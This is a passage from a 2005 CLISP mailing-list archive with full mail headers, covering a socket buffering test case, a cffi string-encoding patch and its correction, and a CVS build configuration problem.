more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 09:26:28 2005 X-Original-Date: Thu, 3 Nov 2005 17:14:09 +0000 (UTC) Sam Steingold gnu.org> writes: > I do not use clorb, but if you could isolate the problem and produce a > stand-alone test case (preferable working with 2.33.2 but not with the > CVS head), I would look at it. It's a fair request; I have to admit I can't produce such a case yet; this one works :-) (defun bug-server (port) (let ((stream (socket-accept (socket-server port) :element-type '(unsigned-byte 8))) (seq (make-array 53 :element-type '(unsigned-byte 8)))) (socket-status stream) (read-byte-sequence seq stream :start 0 :end 53 :no-hang t) (dotimes (i 53) (setf (aref seq i) i)) (write-sequence seq stream) (force-output stream) (read))) (defun bug-client (port) (let ((stream (socket-connect port "localhost" :element-type '(unsigned-byte 8))) (seq (make-array 53 :element-type '(unsigned-byte 8)))) (write-sequence seq stream) (force-output stream) (socket-status (list stream) 60) (read-byte-sequence seq stream :start 0 :end 12 :no-hang t) (format t "~A~%" seq) (socket-status (list stream) 60) (read-byte-sequence seq stream :start 12 :end 53 :no-hang t) (format t "~A~%" seq))) From sds@gnu.org Thu Nov 03 09:39:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EXj4A-00024y-WF for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 09:39:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EXj47-0008Iu-Ek for clisp-list@lists.sourceforge.net; Thu, 03 Nov 2005 09:39:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA3Hdg4m006677; Thu, 3 Nov 2005 12:39:43 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dmitri Hrapof Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dmitri Hrapof's message of "Thu, 3 Nov 2005 17:14:09 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dmitri Hrapof Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 3 09:43:19 2005 X-Original-Date: Thu, 03 Nov 2005 12:38:43 -0500 > * Dmitri Hrapof [2005-11-03 17:14:09 +0000]: > > Sam Steingold gnu.org> writes: > >> I do not use clorb, but if you could isolate the problem and produce a >> stand-alone test case (preferable working with 2.33.2 but not with the >> CVS head), I would look at it. > > It's a fair request; thank you. > I have to admit I can't produce such a case yet; note that the socket stream performance and behavior can be drastically affected by the stream buffering. . note also that socket-status et al are tricky when buffering is involed, (and a bug there has been fixed in the CVS recently). -- Sam Steingold (http://www.podval.org/~sds) running w2k Good judgment comes from experience and experience comes from bad judgment. From kavenchuk@jenty.by Fri Nov 04 06:51:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EY2ue-0007cu-7P for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 06:51:28 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EY2uc-0002SU-OJ for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 06:51:28 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK7H0S; Fri, 4 Nov 2005 16:52:31 +0200 Message-ID: <436B75B7.7090002@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 4 06:53:12 2005 X-Original-Date: Fri, 04 Nov 2005 16:52:39 +0200 Such "set" almost works, but found problem: clsql type string-ptr through UFFI compatibility layer from cffi translate to c-pointer (instead of (c-ptr c-string)) and CUSTOM:*FOREIGN-ENCODING* as does not influence result And I receive error How it is possible correct it? (if it is possible...) Thanks! -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Fri Nov 04 07:24:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EY3Q6-0000sR-Jp for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 07:23:58 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EY3Q2-0002WF-Mn for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 07:23:58 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C9AF95833D; Fri, 4 Nov 2005 16:23:46 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DC5E6582FA; Fri, 4 Nov 2005 16:23:44 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9A23E886F; Fri, 4 Nov 2005 16:23:44 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17259.32000.558064.301016@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp + cffi + clsql problem In-Reply-To: <436B75B7.7090002@jenty.by> References: <436B75B7.7090002@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 4 07:24:53 2005 X-Original-Date: Fri, 4 Nov 2005 16:23:44 +0100 Yaroslav Kavenchuk writes: > Such "set" almost works, but found problem: > > clsql type string-ptr through UFFI compatibility layer from cffi > translate to c-pointer (instead of (c-ptr c-string)) > > and CUSTOM:*FOREIGN-ENCODING* as does not influence result > > And I receive error Indeed, cffi doesn't translate the encodings. > How it is possible correct it? (if it is possible...) Yes, it's possible to correct it. (We have the sources! :-) This happens in cffi-luis-051104-1016/src//strings.lisp, the following functions are wrong: (defun lisp-string-to-foreign (string ptr size) "Copy at most SIZE-1 characters from a Lisp STRING to PTR. The foreign string will be null-terminated." (decf size) (loop with i = 0 for char across string while (< i size) do (setf (%mem-ref ptr :unsigned-char (post-incf i)) (char-code char)) finally (setf (%mem-ref ptr :unsigned-char i) 0))) (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum) (null-terminated-p t)) "Copy at most SIZE characters from PTR into a Lisp string. If PTR is a null pointer, returns nil." (unless (null-ptr-p ptr) (with-output-to-string (s) (loop for i fixnum from 0 below size for code = (mem-ref ptr :unsigned-char i) until (and null-terminated-p (zerop code)) do (write-char (code-char code) s))))) Replace them by (untested): #-clisp (defun lisp-string-to-foreign (string ptr size) "Copy at most SIZE-1 characters from a Lisp STRING to PTR. The foreign string will be null-terminated." (decf size) (loop with i = 0 for char across string while (< i size) do (setf (%mem-ref ptr :unsigned-char (post-incf i)) (char-code char)) finally (setf (%mem-ref ptr :unsigned-char i) 0))) #-clisp (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum) (null-terminated-p t)) "Copy at most SIZE characters from PTR into a Lisp string. If PTR is a null pointer, returns nil." (unless (null-ptr-p ptr) (with-output-to-string (s) (loop for i fixnum from 0 below size for code = (mem-ref ptr :unsigned-char i) until (and null-terminated-p (zerop code)) do (write-char (code-char code) s))))) #+clisp (defun lisp-string-to-foreign (string ptr size) "Copy at most SIZE-1 characters from a Lisp STRING to PTR. The foreign string will be null-terminated." (decf size) (loop :with bytes = (ext:convert-string-to-bytes string custom:*foreign-encoding*) :with i = 0 :for byte :across bytes :while (< i size) :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte) :finally (setf (%mem-ref ptr :unsigned-char i) 0))) #+clisp (defun clength (ptr size) (loop :for i :from 0 :below size :do (when (zerop (mem-ref ptr :unsigned-char i)) (return-from clength i)) :finally (return-from clength size))) #+clisp (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum) (null-terminated-p t)) "Copy at most SIZE characters from PTR into a Lisp string. If PTR is a null pointer, returns nil." (unless (null-ptr-p ptr) (loop :with clen = (if null-terminated-p (clength ptr size) size) :with bytes = (make-array clen :element-type '(unsigned-byte 8)) :for i fixnum from 0 below clen :do (setf (aref bytes i) (mem-ref ptr :unsigned-char i)) :finally (ext:convert-string-from-bytes bytes custom:*foreign-encoding*)))) If this works, report the bug to the author of cffi. He should move these functions to the implementation specific files (cffi-clisp.lisp). -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot. don't bother saving your artefacts. From sds@gnu.org Fri Nov 04 08:43:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EY4f2-0004dn-Mz for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 08:43:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EY4ez-0000V5-Bd for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 08:43:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA4GgpKO012822; Fri, 4 Nov 2005 11:43:00 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17259.32000.558064.301016@thalassa.informatimago.com> (Pascal Bourguignon's message of "Fri, 4 Nov 2005 16:23:44 +0100") References: <436B75B7.7090002@jenty.by> <17259.32000.558064.301016@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 4 08:44:41 2005 X-Original-Date: Fri, 04 Nov 2005 11:41:53 -0500 > * Pascal Bourguignon [2005-11-04 16:23:44 +0100]: > > > #+clisp > (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum) > (null-terminated-p t)) > "Copy at most SIZE characters from PTR into a Lisp string. > If PTR is a null pointer, returns nil." > (unless (null-ptr-p ptr) > (loop > :with clen = (if null-terminated-p (clength ptr size) size) > :with bytes = (make-array clen :element-type '(unsigned-byte 8)) > :for i fixnum from 0 below clen > :do (setf (aref bytes i) (mem-ref ptr :unsigned-char i)) > :finally (ext:convert-string-from-bytes bytes > custom:*foreign-encoding*)))) you mean :finally (return (ext:convert-string-from-bytes ...)) -- Sam Steingold (http://www.podval.org/~sds) running w2k A slave dreams not of Freedom, but of owning his own slaves. From lisp-clisp-list@m.gmane.org Fri Nov 04 11:12:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EY6zJ-0002Ye-Bj for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 11:12:33 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EY6zH-00012n-GJ for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 11:12:33 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EY6xP-0006ZF-IV for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 20:10:35 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 04 Nov 2005 20:10:35 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 04 Nov 2005 20:10:35 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 8 Message-ID: <87hdasi627.fsf@zemdatav.stor.no-ip.org> References: <87irveojrq.fsf@zemdatav.stor.no-ip.org> <873bmggo3h.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:AEU1ufMAnEToaOD/SS2z7PGkr68= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CVS build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 4 11:13:18 2005 X-Original-Date: Fri, 04 Nov 2005 20:09:04 +0100 Sam Steingold writes: > thanks. I made m4/test.m4 more strict. > please try "cvs up" in a couple of hours. It doesn't work... for some reason, cl_cv_test_nt gets set to yes. Magnus From sds@gnu.org Fri Nov 04 11:56:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EY7fS-0004V8-3J for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 11:56:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EY7fO-0005Vm-Le for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 11:56:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA4Jtoig018799 for ; Fri, 4 Nov 2005 14:55:51 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87hdasi627.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Fri, 04 Nov 2005 20:09:04 +0100") References: <87irveojrq.fsf@zemdatav.stor.no-ip.org> <873bmggo3h.fsf@zemdatav.stor.no-ip.org> <87hdasi627.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: CVS build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 4 11:57:00 2005 X-Original-Date: Fri, 04 Nov 2005 14:54:52 -0500 > * Magnus Henoch [2005-11-04 20:09:04 +0100]: > > Sam Steingold writes: > >> thanks. I made m4/test.m4 more strict. >> please try "cvs up" in a couple of hours. > > It doesn't work... for some reason, cl_cv_test_nt gets set to yes. could you please try to figure out why? I think I made sure that the test in m4/test.m4 is identical to the use in makemake and that configure uses the same shell as makemake. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Never underestimate the power of stupid people in large groups. From pjb@informatimago.com Fri Nov 04 12:00:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EY7jy-0004dh-JZ for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 12:00:46 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EY7jv-0006g6-SU for clisp-list@lists.sourceforge.net; Fri, 04 Nov 2005 12:00:46 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6218D5833D; Fri, 4 Nov 2005 21:00:36 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0C3AB582FA; Fri, 4 Nov 2005 21:00:35 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E8205886F; Fri, 4 Nov 2005 21:00:34 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17259.48610.917616.732069@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <436B75B7.7090002@jenty.by> <17259.32000.558064.301016@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 4 12:01:26 2005 X-Original-Date: Fri, 4 Nov 2005 21:00:34 +0100 Sam Steingold writes: > > * Pascal Bourguignon [2005-11-04 16:23:44 +0100]: > > > > > > #+clisp > > (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum) > > (null-terminated-p t)) > > "Copy at most SIZE characters from PTR into a Lisp string. > > If PTR is a null pointer, returns nil." > > (unless (null-ptr-p ptr) > > (loop > > :with clen = (if null-terminated-p (clength ptr size) size) > > :with bytes = (make-array clen :element-type '(unsigned-byte 8)) > > :for i fixnum from 0 below clen > > :do (setf (aref bytes i) (mem-ref ptr :unsigned-char i)) > > :finally (ext:convert-string-from-bytes bytes > > custom:*foreign-encoding*)))) > > > you mean > > :finally (return (ext:convert-string-from-bytes ...)) Yes. (*^_^*) -- __Pascal Bourguignon__ http://www.informatimago.com/ From kavenchuk@tut.by Sat Nov 05 00:02:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EYJ0D-0000JK-3t for clisp-list@lists.sourceforge.net; Sat, 05 Nov 2005 00:02:17 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EYJ0B-0005o1-RJ for clisp-list@lists.sourceforge.net; Sat, 05 Nov 2005 00:02:17 -0800 Received: from [194.158.220.119] (account kavenchuk HELO [194.158.220.119]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 14631541 for clisp-list@lists.sourceforge.net; Sat, 05 Nov 2005 10:00:13 +0200 Message-ID: <436C6705.5020604@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 5 00:02:25 2005 X-Original-Date: Sat, 05 Nov 2005 10:02:13 +0200 > > >If this works, report the bug to the author of cffi. He should move > > > these functions to the implementation specific files (cffi-clisp.lisp). It is works! Many thanks!!!! -- WBR, Yaroslav Kavenchuk. From dimitrios.kapanikis@gmail.com Sun Nov 06 15:31:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EYtyc-0003V2-Bq for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 15:31:06 -0800 Received: from xproxy.gmail.com ([66.249.82.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EYtyb-000110-6J for clisp-list@lists.sourceforge.net; Sun, 06 Nov 2005 15:31:06 -0800 Received: by xproxy.gmail.com with SMTP id s7so301364wxc for ; Sun, 06 Nov 2005 15:31:03 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=gwvpbzGOp2GRFgajEadBT5Uk/zltUkVP/Z4L231/f9wSZ7P82tsA7ifHaiBDvVATG/NNTUJRuKLNAvQStS0q9ZKYz4SZt+VOEcCYJdJ0RRnzOv4Ekm7Az0Cs2tDc/z1iuPNHpWSZimht1bTjq2SQ8nt24VNyV4mVWzoQPJlYMsg= Received: by 10.65.205.1 with SMTP id h1mr4198065qbq; Sun, 06 Nov 2005 15:31:03 -0800 (PST) Received: by 10.65.192.2 with HTTP; Sun, 6 Nov 2005 15:31:02 -0800 (PST) Message-ID: <243236a40511061531rdff593ao3eaaa40f994b4a50@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> <243236a40511011317v2a977c93kd7bf8f5cf8027533@mail.gmail.com> <243236a40511020341l5ff3e4d9v8011698095628886@mail.gmail.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: external module and building own 